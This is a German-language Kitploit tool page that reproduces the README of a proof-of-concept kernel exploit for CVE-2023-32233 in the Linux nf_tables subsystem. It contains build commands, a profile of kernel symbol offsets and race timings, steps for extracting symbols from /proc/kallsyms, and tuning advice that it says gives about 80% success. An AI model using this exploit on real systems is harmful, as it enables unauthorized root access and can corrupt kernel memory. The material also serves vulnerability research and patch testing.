Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-32233 — CVE-2023-32233: Sicherheitslücke im Linux-Kernel | Kitploit
Tools/GitHubGitHub/liuk3r/cve-2023-32233
Privilege EscalationSchwachstellenanalyseExploitationBinary-Exploitation
GitHubliuk3r/cve-2023-32233

CVE-2023-32233

CVE-2023-32233: Sicherheitslücke im Linux-Kernel

Repository anzeigen
38278vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Bauen und Konfigurieren

Die folgenden Anweisungen wurden unter Ubuntu 23.04 (Lunar Lobster) getestet.

GIF 2023-5-16 12-28-46

Installieren der Build-Abhängigkeiten

Führen Sie den folgenden Befehl aus, um die Build-Abhängigkeiten zu installieren:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

Erstellen der Binärdatei

Führen Sie den folgenden Befehl aus, um die PoC-Binärdatei zu erstellen:

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

Aktualisieren des Profils

Das integrierte Profil enthält Parameter, die spezifisch für den Linux-Kernel sind, der in binärer Form als folgende Pakete von Ubuntu 23.04 (Lunar Lobster) verteilt wird:

  • "linux-image-6.2.0-20-generic", version "6.2.0-20.20", and
  • "linux-modules-6.2.0-20-generic", version "6.2.0-20.20".

Das integrierte Profil sieht wie folgt aus:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

Kernel-Symbole

Optionale Schritte, um das integrierte Profil beim Testen mit anderen Linux-Kerneln zu überschreiben:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

Maschinencode

Um die Kernelbasis zu finden, untersuchen wir das nf_tables.ko-Image im Kernelspeicher. Insbesondere analysieren wir den Maschinencode der Unterroutine nft_counter_destroy(). Dies bedeutet, dass unsere Methode empfindlich auf den Compiler sowie auf die Compileroptionen reagiert. Alle üblichen Fälle können jedoch durch Überschreiben des integrierten Profils behandelt werden.

Beispielsweise kann der Maschinencode der Unterroutine nft_counter_destroy() wie folgt aussehen:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

Im obigen Fall können wir einige Parameter angeben, indem wir die folgenden drei Zeilen an die Konfigurationsdatei 'profile' anhängen.

Zunächst definieren wir den Offset des DWORD vor der free_percpu-Verschiebung neu:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

wobei der Wert 5 mit dem Ausdruck (1e31d - 1e310) - 8 berechnet wurde.

Als Plausibilitätsprüfung validieren wir dann das DWORD am obigen Offset mit der folgenden Maske:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

wobei der folgende Wert erwartet wird:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

Race-Tuning

Das Ausnutzen der Sicherheitslücke erfordert das Gewinnen eines Rennens mit einem Hintergrund-Worker-Thread des Linux-Kernels. Das integrierte Profil wurde optimiert, um die Gewinnchance dieses Rennens auf einer breiten Palette von Intel-Mikroprozessoren, einschließlich Mobile Sandy Bridge und Desktop Comet Lake, zu maximieren. Einige Mikroprozessoren erfordern jedoch zusätzliche Optimierung. Beispielsweise haben wir unter Alder Lake in bestimmten Konfigurationen eine erhöhte Latenz beim Umschalten von Tasks beobachtet, weshalb es notwendig sein kann, die folgende Zeile an 'profile' anzuhängen:

root@kitploit:~
400                 race_lead_sleep

Wir haben eine Wahrscheinlichkeit von 80% oder besser gemessen, die Sicherheitslücke erfolgreich auszunutzen in unseren Tests, die auf unbelasteten Bare-Metal-Systemen durchgeführt wurden.

Testempfehlungen

Sobald der PoC auf einem verwundbaren System gestartet wird, kann das System in einen instabilen Zustand mit beschädigtem Kernelspeicher versetzt werden. Wir empfehlen dringend, den PoC auf einem dedizierten System zu testen, um potenzielle Datenkorruptionen zu vermeiden.

Tool herunterladen